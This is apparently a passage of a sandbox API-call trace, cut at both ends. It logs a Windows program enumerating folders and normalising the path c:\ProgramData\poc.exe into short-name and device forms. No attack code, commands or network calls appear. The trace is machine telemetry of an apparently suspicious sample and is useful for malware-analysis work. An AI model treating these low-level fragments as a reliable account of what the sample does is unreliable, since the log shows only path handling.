ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x75c220 [0118.049] FindNextFileW (in: hFindFile=0x75c220, lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0 [0118.049] GetLastError () returned 0x12 [0118.049] FindClose (in: hFindFile=0x75c220 | out: hFindFile=0x75c220) returned 1 [0118.049] SysReAllocStringLen (in: pbstr=0x28f578*=0x0, psz="c:\\Users", len=0x8 | out: pbstr=0x28f578*="c:\\Users") returned 1 [0118.049] SysReAllocStringLen (in: pbstr=0x28f844*="c:\\Users", psz="c:\\Users\\", len=0x9 | out: pbstr=0x28f844*="c:\\Users\\") returned 1 [0118.049] SysReAllocStringLen (in: pbstr=0x28f584*="users", psz="5p5nrgjn0js halpmcxz", len=0x14 | out: pbstr=0x28f584*="5p5nrgjn0js halpmcxz") returned 1 [0118.049] FindFirstFileW (in: lpFileName="c:\\Users\\5p5nrgjn0js halpmcxz", lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x75c220 [0118.049] FindNextFileW (in: hFindFile=0x75c220, lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0 [0118.049] GetLastError () returned 0x12 [0118.049] FindClose (in: hFindFile=0x75c220 | out: hFindFile=0x75c220) returned 1 [0118.049] SysReAllocStringLen (in: pbstr=0x28f578*="c:\\Users\\", psz="c:\\Users\\5p5NrGJn0jS HALPmcxz", len=0x1d | out: pbstr=0x28f578*="c:\\Users\\5p5NrGJn0jS HALPmcxz") returned 1 [0118.050] SysReAllocStringLen (in: pbstr=0x28f844*="c:\\Users\\5p5NrGJn0jS HALPmcxz", psz="c:\\Users\\5p5NrGJn0jS HALPmcxz\\", len=0x1e | out: pbstr=0x28f844*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned 1 [0118.050] SysReAllocStringLen (in: pbstr=0x28f574*=0x0, psz="c:\\Users\\5p5NrGJn0jS HALPmcxz\\", len=0x1e | out: pbstr=0x28f574*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned 1 [0118.050] SysReAllocStringLen (in: pbstr=0x28f844*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\", psz="c:\\Users\\5p5NrGJn0jS HALPmcxz", len=0x1d | out: pbstr=0x28f844*="c:\\Users\\5p5NrGJn0jS HALPmcxz") returned 1 [0118.050] SysReAllocStringLen (in: pbstr=0x28f848*=0x0, psz="c:\\Users\\5p5NrGJn0jS HALPmcxz", len=0x1d | out: pbstr=0x28f848*="c:\\Users\\5p5NrGJn0jS HALPmcxz") returned 1 [0118.050] SysReAllocStringLen (in: pbstr=0x460628*=0x0, psz="c:\\Users\\5p5NrGJn0jS HALPmcxz\\", len=0x1e | out: pbstr=0x460628*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned 1 [0118.050] VirtualFree (lpAddress=0x464000, dwSize=0x10000, dwFreeType=0x4000) returned 1 [0118.052] SysReAllocStringLen (in: pbstr=0x460634*=0x0, psz="c:\\ProgramData\\poc.exe", len=0x16 | out: pbstr=0x460634*="c:\\ProgramData\\poc.exe") returned 1 [0118.052] CharLowerBuffW (in: lpsz="c:\\ProgramData\\poc.exe", cchLength=0x16 | out: lpsz="c:\\programdata\\poc.exe") returned 0x16 [0118.052] SysReAllocStringLen (in: pbstr=0x4606ac*=0x0, psz="c:\\programdata\\poc.exe", len=0x16 | out: pbstr=0x4606ac*="c:\\programdata\\poc.exe") returned 1 [0118.052] SysReAllocStringLen (in: pbstr=0x4606b0*=0x0, psz="c:", len=0x2 | out: pbstr=0x4606b0*="c:") returned 1 [0118.052] SysReAllocStringLen (in: pbstr=0x4606d0*=0x0, psz="programdata", len=0xb | out: pbstr=0x4606d0*="programdata") returned 1 [0118.053] SysReAllocStringLen (in: pbstr=0x4606f0*=0x0, psz="poc.exe", len=0x7 | out: pbstr=0x4606f0*="poc.exe") returned 1 [0118.053] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="programdata", cchWideChar=11, lpMultiByteStr=0x28e5b8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="programdata", lpUsedDefaultChar=0x0) returned 11 [0118.053] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="poc.exe", cchWideChar=7, lpMultiByteStr=0x28e5b8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="poc.exedata", lpUsedDefaultChar=0x0) returned 7 [0118.053] SysReAllocStringLen (in: pbstr=0x28f64c*=0x0, psz="c:", len=0x2 | out: pbstr=0x28f64c*="c:") returned 1 [0118.053] SysReAllocStringLen (in: pbstr=0x28f904*=0x0, psz="c:\\", len=0x3 | out: pbstr=0x28f904*="c:\\") returned 1 [0118.053] SysReAllocStringLen (in: pbstr=0x28f644*=0x0, psz="programdata", len=0xb | out: pbstr=0x28f644*="programdata") returned 1 [0118.053] FindFirstFileW (in: lpFileName="c:\\programdata", lpFindFileData=0x28f670 | out: lpFindFileData=0x28f670*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8e272280, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x8e272280, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0x758e50 [0118.053] FindNextFileW (in: hFindFile=0x758e50, lpFindFileData=0x28f670 | out: lpFindFileData=0x28f670*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8e272280, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x8e272280, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0 [0118.053] GetLastError () returned 0x12 [0118.053] FindClose (in: hFindFile=0x758e50 | out: hFindFile=0x758e50) returned 1 [0118.053] SysReAllocStringLen (in: pbstr=0x28f638*=0x0, psz="c:\\ProgramData", len=0xe | out: pbstr=0x28f638*="c:\\ProgramData") returned 1 [0118.053] SysReAllocStringLen (in: pbstr=0x28f904*="c:\\ProgramData", psz="c:\\ProgramData\\", len=0xf | out: pbstr=0x28f904*="c:\\ProgramData\\") returned 1 [0118.053] SysReAllocStringLen (in: pbstr=0x28f644*="programdata", psz="poc.exe", len=0x7 | out: pbstr=0x28f644*="poc.exe") returned 1 [0118.054] FindFirstFileW (in: lpFileName="c:\\ProgramData\\poc.exe", lpFindFileData=0x28f670 | out: lpFindFileData=0x28f670*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x78a55620, ftCreationTime.dwHighDateTime=0x1d5ca1f, ftLastAccessTime.dwLowDateTime=0x78a55620, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x78cdcd80, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x1d5c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="poc.exe", cAlternateFileName="")) returned 0x758e50 [0118.054] FileTimeToLocalFileTime (in: lpFileTime=0x28f684, lpLocalFileTime=0x28f5f0 | out: lpLocalFileTime=0x28f5f0) returned 1 [0118.054] FileTimeToDosDateTime (in: lpFileTime=0x28f5f0, lpFatDate=0x28f652, lpFatTime=0x28f650 | out: lpFatDate=0x28f652, lpFatTime=0x28f650) returned 1 [0118.054] FindClose (in: hFindFile=0x758e50 | out: hFindFile=0x758e50) returned 1 [0118.054] SysReAllocStringLen (in: pbstr=0x28f638*="c:\\ProgramData\\", psz="c:\\ProgramData\\poc.exe", len=0x16 | out: pbstr=0x28f638*="c:\\ProgramData\\poc.exe") returned 1 [0118.054] SysReAllocStringLen (in: pbstr=0x28f904*="c:\\ProgramData\\poc.exe", psz="c:\\ProgramData\\poc.exe\\", len=0x17 | out: pbstr=0x28f904*="c:\\ProgramData\\poc.exe\\") returned 1 [0118.054] SysReAllocStringLen (in: pbstr=0x28f634*=0x0, psz="c:\\ProgramData\\poc.exe\\", len=0x17 | out: pbstr=0x28f634*="c:\\ProgramData\\poc.exe\\") returned 1 [0118.054] SysReAllocStringLen (in: pbstr=0x28f904*="c:\\ProgramData\\poc.exe\\", psz="c:\\ProgramData\\poc.exe", len=0x16 | out: pbstr=0x28f904*="c:\\ProgramData\\poc.exe") returned 1 [0118.055] SysReAllocStringLen (in: pbstr=0x28f8bc*=0x0, psz="c:\\ProgramData\\poc.exe", len=0x16 | out: pbstr=0x28f8bc*="c:\\ProgramData\\poc.exe") returned 1 [0118.055] VirtualAlloc (lpAddress=0x464000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x464000 [0118.055] CharLowerBuffW (in: lpsz="c:\\ProgramData\\poc.exe", cchLength=0x16 | out: lpsz="c:\\programdata\\poc.exe") returned 0x16 [0118.055] SysReAllocStringLen (in: pbstr=0x4706b0*=0x0, psz="c:\\programdata\\poc.exe", len=0x16 | out: pbstr=0x4706b0*="c:\\programdata\\poc.exe") returned 1 [0118.055] SysReAllocStringLen (in: pbstr=0x4706b4*=0x0, psz="c:", len=0x2 | out: pbstr=0x4706b4*="c:") returned 1 [0118.055] SysReAllocStringLen (in: pbstr=0x4706d4*=0x0, psz="programdata", len=0xb | out: pbstr=0x4706d4*="programdata") returned 1 [0118.056] SysReAllocStringLen (in: pbstr=0x4706f4*=0x0, psz="poc.exe", len=0x7 | out: pbstr=0x4706f4*="poc.exe") returned 1 [0118.056] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="programdata", cchWideChar=11, lpMultiByteStr=0x28e828, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="programdata", lpUsedDefaultChar=0x0) returned 11 [0118.056] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="poc.exe", cchWideChar=7, lpMultiByteStr=0x28e828, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="poc.exedata", lpUsedDefaultChar=0x0) returned 7 [0118.056] VirtualFree (lpAddress=0x474000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0118.056] SysReAllocStringLen (in: pbstr=0x28f8b0*=0x0, psz="programdata", len=0xb | out: pbstr=0x28f8b0*="programdata") returned 1 [0118.056] SysReAllocStringLen (in: pbstr=0x28f8b4*=0x0, psz="programdata", len=0xb | out: pbstr=0x28f8b4*="programdata") returned 1 [0118.056] SysReAllocStringLen (in: pbstr=0x28f8b0*="programdata", psz="poc.exe", len=0x7 | out: pbstr=0x28f8b0*="poc.exe") returned 1 [0118.056] SysReAllocStringLen (in: pbstr=0x28f8b4*="programdata\\", psz="poc.exe", len=0x7 | out: pbstr=0x28f8b4*="poc.exe") returned 1 [0118.056] QueryDosDeviceW (in: lpDeviceName="c:", lpTargetPath=0x4606a8, ucchMax=0xfffe | out: lpTargetPath="\\Device\\HarddiskVolume1") returned 0x19 [0118.057] SysReAllocStringLen (in: pbstr=0x28f8ac*=0x0, psz="\\Device\\HarddiskVolume1", len=0x17 | out: pbstr=0x28f8ac*="\\Device\\HarddiskVolume1") returned 1 [0118.057] SysReAllocStringLen (in: pbstr=0x28f8bc*="\\Device\\HarddiskVolume1", psz="\\Device\\HarddiskVolume1\\programdata\\poc.exe\\", len=0x2c | out: pbstr=0x28f8bc*="\\Device\\HarddiskVolume1\\programdata\\poc.exe\\") returned 1 [0118.058] CharLowerBuffW (in: lpsz="\\Device\\HarddiskVolume1\\programdata\\poc.exe\\", cchLength=0x2c | out: lpsz="\\device\\harddiskvolume1\\programdata\\poc.exe\\") returned 0x2c [0118.058] SysReAllocStringLen (in: pbstr=0x4706b0*=0x0, psz="\\device\\harddiskvolume1\\programdata\\poc.exe\\", len=0x2c | out: pbstr=0x4706b0*="\\device\\harddiskvolume1\\programdata\\poc.exe\\") returned 1 [0118.058] SysReAllocStringLen (in: pbstr=0x4706d4*=0x0, psz="device", len=0x6 | out: pbstr=0x4706d4*="device") returned 1 [0118.058] SysReAllocStringLen (in: pbstr=0x4706f4*=0x0, psz="harddiskvolume1", len=0xf | out: pbstr=0x4706f4*="harddiskvolume1") returned 1 [0118.058] SysReAllocStringLen (in: pbstr=0x470700*=0x0, psz="programdata", len=0xb | out: pbstr=0x470700*="programdata") returned 1 [0118.058] SysReAllocStringLen (in: pbstr=0x47070c*=0x0, psz="poc.exe", len=0x7 | out: pbstr=0x47070c*="poc.exe") returned 1 [0118.058] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="device", cchWideChar=6, lpMultiByteStr=0x28e828, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="deviceedata", lpUsedDefaultChar=0x0) returned 6 [0118.059] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="harddiskvolume1", cchWideChar=15, lpMultiByteStr=0x28e828, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="harddiskvolume1", lpUsedDefaultChar=0x0) returned 15 [0118.059] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="programdata", cchWideChar=11, lpMultiByteStr=0x28e828, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="programdataume1", lpUsedDefaultChar=0x0) returned 11 [0118.059] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="poc.exe", cchWideChar=7, lpMultiByteStr=0x28e828, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="poc.exedataume1", lpUsedDefaultChar=0x0) returned 7 [0118.059] SysReAllocStringLen (in: pbstr=0x28f8b0*="poc.exe", psz="device", len=0x6 | out: pbstr=0x28f8b0*="device") returned 1 [0118.059] SysReAllocStringLen (in: pbstr=0x28f8b4*="poc.exe\\", psz="device", len=0x6 | out: pbstr=0x28f8b4*="device") returned 1 [0118.059] SysReAllocStringLen (in: pbstr=0x28f8b0*="device", psz="harddiskvolume1", len=0xf | out: pbstr=0x28f8b0*="harddiskvolume1") returned 1 [0118.059] SysReAllocStringLen (in: pbstr=0x28f8b4*="device\\", psz="harddiskvolume1", len=0xf | out: pbstr=0x28f8b4*="harddiskvolume1") returned 1 [0118.059] SysReAllocStringLen (in: pbstr=0x28f8b0*="harddiskvolume1", psz="programdata", len=0xb | out: pbstr=0x28f8b0*="programdata") returned 1 [0118.059] SysReAllocStringLen (in: pbstr=0x28f8b4*="harddiskvolume1\\", psz="programdata", len=0xb | out: pbstr=0x28f8b4*="programdata") returned 1 [0118.059] SysReAllocStringLen (in: pbstr=0x28f8b0*="programdata", psz="poc.exe", len=0x7 | out: pbstr=0x28f8b0*="poc.exe") returned 1 [0118.059] SysReAllocStringLen (in: pbstr=0x28f8b4*="programdata\\", psz="poc.exe", len=0x7 | out: pbstr=0x28f8b4*="poc.exe") returned 1 [0118.060] VirtualFree (lpAddress=0x464000, dwSize=0x10000, dwFreeType=0x4000) returned 1 [0118.060] CharLowerBuffW (in: lpsz="device\\harddiskvolume1\\programdata\\poc.exe\\", cchLength=0x2b | out: lpsz="device\\harddiskvolume1\\programdata\\poc.exe\\") returned 0x2b [0118.060] SysReAllocStringLen (in: pbstr=0x28f8a8*=0x0, psz="device\\harddiskvolume1\\programdata\\poc.exe\\", len=0x2b | out: pbstr=0x28f8a8*="device\\harddiskvolume1\\programdata\\poc.exe\\") returned 1 [0118.060] SysReAllocStringLen (in: pbstr=0x28f908*="device\\harddiskvolume1\\programdata\\poc.exe\\", psz="device\\harddiskvolume1\\programdata\\poc.exe", len=0x2a | out: pbstr=0x28f908*="device\\harddiskvolume1\\programdata\\poc.exe") returned 1 [0118.061] CharLowerBuffW (in: lpsz="device\\harddiskvolume1\\programdata\\poc.exe", cchLength=0x2a | out: lpsz="device\\harddiskvolume1\\programdata\\poc.exe") returned 0x2a [0118.061] SysReAllocStringLen (in: pbstr=0x4606ac*=0x0, psz="device\\harddiskvolume1\\programdata\\poc.exe", len=0x2a | out: pbstr=0x4606ac*="device\\harddiskvolume1\\programdata\\poc.exe") returned 1 [0118.061] SysReAllocStringLen (in: pbstr=0x4606d0*=0x0, psz="device", len=0x6 | out: pbstr=0x4606d0*="device") returned 1 [0118.061] SysReAllocStringLen (in: pbstr=0x4606f0*=0x0, psz="harddiskvolume1", len=0xf | out: pbstr=0x4606f0*="harddiskvolume1") returned 1 [0118.061] SysReAllocStringLen (in: pbstr=0x4606fc*=0x0, psz="programdata", len=0xb | out: pbstr=0x4606fc*="programdata") returned 1 [0118.061] SysReAllocStringLen (in: pbstr=0x460708*=0x0, psz="poc.exe", len=0x7 | out: pbstr=0x460708*="poc.exe") returned 1 [0118.061] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="device", cchWideChar=6, lpMultiByteStr=0x28e870, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="device", lpUsedDefaultChar=0x0) returned 6 [0118.061] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="harddiskvolume1", cchWideChar=15, lpMultiByteStr=0x28e870, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="harddiskvolume1", lpUsedDefaultChar=0x0) returned 15 [0118.061] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="programdata", cchWideChar=11, lpMultiByteStr=0x28e870, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="programdataume1", lpUsedDefaultChar=0x0) returned 11 [0118.061] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="poc.exe", cchWideChar=7, lpMultiByteStr=0x28e870, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="poc.exedataume1", lpUsedDefaultChar=0x0) returned 7 [0118.061] CharLowerBuffW (in: lpsz="c:\\ProgramData\\poc.exe", cchLength=0x16 | out: lpsz="c:\\programdata\\poc.exe") returned 0x16 [0118.061] SysReAllocStringLen (in: pbstr=0x460718*=0x0, psz="c:\\programdata\\poc.exe", len=0x16 | out: pbstr=0x460718*="c:\\programdata\\poc.exe") returned 1 [0118.061] SysReAllocStringLen (in: pbstr=0x46071c*=0x0, psz="c:", len=0x2 | out: pbstr=0x46071c*="c:") returned 1 [0118.061] SysReAllocStringLen (in: pbstr=0x46073c*=0x0, psz="programdata", len=0xb | out: pbstr=0x46073c*="programdata") returned 1 [0118.062] SysReAllocStringLen (in: pbstr=0x46075c*=0x0, psz="poc.exe", len=0x7 | out: pbstr=0x46075c*="poc.exe") returned 1 [0118.062] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="programdata", cchWideChar=11, lpMultiByteStr=0x28e5b4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="programdatadata", lpUsedDefaultChar=0x0) returned 11 [0118.062] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="poc.exe", cchWideChar=7, lpMultiByteStr=0x28e5b4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="poc.exedatadata", lpUsedDefaultChar=0x0) returned 7 [0118.062] SysReAllocStringLen (in: pbstr=0x28f64c*=0x0, psz="c:", len=0x2 | out: pbstr=0x28f64c*="c:") returned 1 [0118.062] SysReAllocStringLen (in: pbstr=0x28f8fc*=0x0, psz="c:\\", len=0x3 | out: pbstr=0x28f8fc*="c:\\") returned 1 [0118.062] SysReAllocStringLen (in: pbstr=0x28f644*=0x0, psz="programdata", len=0xb | out: pbstr=0x28f644*="programdata") returned 1 [0118.062] FindFirstFileW (in: lpFileName="c:\\programdata", lpFindFileData=0x28f670 | out: lpFindFileData=0x28f670*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8e272280, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x8e272280, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0x758e50 [0118.062] FindNextFileW (in: hFindFile=0x758e50, lpFindFileData=0x28f670 | out: lpFindFileData=0x28f670*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8e272280, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x8e272280, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0 [0118.062] GetLastError () returned 0x12 [0118.062] FindClose (in: hFindFile=0x758e50 | out: hFindFile=0x758e50) returned 1 [0118.062] SysReAllocStringLen (in: pbstr=0x28f634*=0x0, psz="c:\\PROGRA~3", len=0xb | out: pbstr=0x28f634*="c:\\PROGRA~3") returned 1 [0118.062] SysReAllocStringLen (in: pbstr=0x28f8fc*="c:\\PROGRA~3", psz="c:\\PROGRA~3\\", len=0xc | out: pbstr=0x28f8fc*="c:\\PROGRA~3\\") returned 1 [0118.063] SysReAllocStringLen (in: pbstr=0x28f644*="programdata", psz="poc.exe", len=0x7 | out: pbstr=0x28f644*="poc.exe") returned 1 [0118.063] FindFirstFileW (in: lpFileName="c:\\PROGRA~3\\poc.exe", lpFindFileData=0x28f670 | out: lpFindFileData=0x28f670*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x78a55620, ftCreationTime.dwHighDateTime=0x1d5ca1f, ftLastAccessTime.dwLowDateTime=0x78a55620, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x78cdcd80, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x1d5c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="poc.exe", cAlternateFileName="")) returned 0x758e50 [0118.063] FileTimeToLocalFileTime (in: lpFileTime=0x28f684, lpLocalFileTime=0x28f5ec | out: lpLocalFileTime=0x28f5ec) returned 1 [0118.063] FileTimeToDosDateTime (in: lpFileTime=0x28f5ec, lpFatDate=0x28f652, lpFatTime=0x28f650 | out: lpFatDate=0x28f652, lpFatTime=0x28f650) returned 1 [0118.063] FindClose (in: hFindFile=0x758e50 | out: hFindFile=0x758e50) returned 1 [0118.063] SysReAllocStringLen (in: pbstr=0x28f634*="c:\\PROGRA~3\\", psz="c:\\PROGRA~3\\poc.exe", len=0x13 | out: pbstr=0x28f634*="c:\\PROGRA~3\\poc.exe") returned 1 [0118.063] SysReAllocStringLen (in: pbstr=0x28f8fc*="c:\\PROGRA~3\\poc.exe", psz="c:\\PROGRA~3\\poc.exe\\", len=0x14 | out: pbstr=0x28f8fc*="c:\\PROGRA~3\\poc.exe\\") returned 1 [0118.063] SysReAllocStringLen (in: pbstr=0x28f630*=0x0, psz="c:\\PROGRA~3\\poc.exe\\", len=0x14 | out: pbstr=0x28f630*="c:\\PROGRA~3\\poc.exe\\") returned 1 [0118.063] SysReAllocStringLen (in: pbstr=0x28f8fc*="c:\\PROGRA~3\\poc.exe\\", psz="c:\\PROGRA~3\\poc.exe", len=0x13 | out: pbstr=0x28f8fc*="c:\\PROGRA~3\\poc.exe") returned 1 [0118.064] SysReAllocStringLen (in: pbstr=0x28f8bc*=0x0, psz="c:\\PROGRA~3\\poc.exe", len=0x13 | out: pbstr=0x28f8bc*="c:\\PROGRA~3\\poc.exe") returned 1 [0118.064] VirtualAlloc (lpAddress=0x464000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x464000 [0118.064] CharLowerBuffW (in: lpsz="c:\\PROGRA~3\\poc.exe", cchLength=0x13 | out: lpsz="c:\\progra~3\\poc.exe") returned 0x13 [0118.064] SysReAllocStringLen (in: pbstr=0x47071c*=0x0, psz="c:\\progra~3\\poc.exe", len=0x13 | out: pbstr=0x47071c*="c:\\progra~3\\poc.exe") returned 1 [0118.064] SysReAllocStringLen (in: pbstr=0x470720*=0x0, psz="c:", len=0x2 | out: pbstr=0x470720*="c:") returned 1 [0118.065] SysReAllocStringLen (in: pbstr=0x470740*=0x0, psz="progra~3", len=0x8 | out: pbstr=0x470740*="progra~3") returned 1 [0118.065] SysReAllocStringLen (in: pbstr=0x470760*=0x0, psz="poc.exe", len=0x7 | out: pbstr=0x470760*="poc.exe") returned 1 [0118.065] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="progra~3", cchWideChar=8, lpMultiByteStr=0x28e828, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="progra~3½ÓA", lpUsedDefaultChar=0x0) returned 8 [0118.065] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="poc.exe", cchWideChar=7, lpMultiByteStr=0x28e828, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="poc.exe3½ÓA", lpUsedDefaultChar=0x0) returned 7 [0118.065] VirtualFree (lpAddress=0x474000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0118.075] SysReAllocStringLen (in: pbstr=0x28f8b0*=0x0, psz="progra~3", len=0x8 | out: pbstr=0x28f8b0*="progra~3") returned 1 [0118.075] SysReAllocStringLen (in: pbstr=0x28f8b4*=0x0, psz="progra~3", len=0x8 | out: pbstr=0x28f8b4*="progra~3") returned 1 [0118.075] SysReAllocStringLen (in: pbstr=0x28f8b0*="progra~3", psz="poc.exe", len=0x7 | out: pbstr=0x28f8b0*="poc.exe") returned 1 [0118.075] SysReAllocStringLen (in: pbstr=0x28f8b4*="progra~3\\", psz="poc.exe", len=0x7 | out: pbstr=0x28f8b4*="poc.exe") returned 1 [0118.075] QueryDosDeviceW (in: lpDeviceName="c:", lpTargetPath=0x460714, ucchMax=0xfffe | out: lpTargetPath="\\Device\\HarddiskVolume1") returned 0x19 [0118.076] SysReAllocStringLen (in: pbstr=0x28f8ac*=0x0, psz="\\Device\\HarddiskVolume1", len=0x17 | out: pbstr=0x28f8ac*="\\Device\\HarddiskVolume1") returned 1 [0118.076] SysReAllocStringLen (in: pbstr=0x28f8bc*="\\Device\\HarddiskVolume1", psz="\\Device\\HarddiskVolume1\\progra~3\\poc.exe\\", len=0x29 | out: pbstr=0x28f8bc*="\\Device\\HarddiskVolume1\\progra~3\\poc.exe\\") returned 1 [0118.076] CharLowerBuffW (in: lpsz="\\Device\\HarddiskVolume1\\progra~3\\poc.exe\\", cchLength=0x29 | out: lpsz="\\device\\harddiskvolume1\\progra~3\\poc.exe\\") returned 0x29 [0118.076] SysReAllocStringLen (in: pbstr=0x47071c*=0x0, psz="\\device\\harddiskvolume1\\progra~3\\poc.exe\\", len=0x29 | out: 